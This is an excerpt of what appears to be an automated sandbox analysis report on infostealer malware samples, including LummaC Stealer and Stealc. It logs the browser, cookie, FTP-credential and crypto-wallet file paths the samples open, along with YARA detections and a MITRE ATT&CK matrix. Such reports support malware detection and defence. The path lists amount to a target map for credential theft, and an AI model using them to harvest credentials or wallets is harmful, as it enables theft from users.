Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: 2ada66c192.exe	Binary or memory string: WIN_81
Source: 2ada66c192.exe	Binary or memory string: WIN_XP
Source: 2ada66c192.exe, 0000002C.00000000.2906143455.0000000000732000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: 2ada66c192.exe	Binary or memory string: WIN_XPe
Source: 2ada66c192.exe	Binary or memory string: WIN_VISTA
Source: 2ada66c192.exe	Binary or memory string: WIN_7
Source: 2ada66c192.exe	Binary or memory string: WIN_8

Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior

Source: Yara match	File source: 00000007.00000003.2496625597.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2656254636.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2656059323.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2722206799.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2576907728.0000000000C69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2572489789.0000000000C60000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2520611019.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2657437696.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2543919841.0000000000C60000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2545054746.0000000000C61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2543892695.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2717480504.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2657790629.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2497346871.0000000000C54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2684316064.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2630336262.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2545193277.0000000000C61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2630205909.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2572381559.0000000000C55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ae5cfd188c.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ae5cfd188c.exe PID: 3512, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 2ada66c192.exe PID: 1364, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ae5cfd188c.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ae5cfd188c.exe PID: 3512, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000009.00000002.2578174288.000000000143E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2760593914.0000000000681000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2764793088.000000000142B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2534662557.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2673057530.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2575911980.0000000000681000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 37df924488.exe PID: 7148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 37df924488.exe PID: 6796, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ACEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	6_2_00ACEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ACDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	6_2_00ACDF51
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006F1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	11_2_006F1204
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006F1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	11_2_006F1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	421 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	11 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	3 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	NTDS	239 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Valid Accounts	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Access Token Manipulation	2 Bypass User Account Control	Cached Domain Credentials	981 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	12 Process Injection	1 Extra Window Memory Injection	DCSync	461 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Scheduled Task/Job	11 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
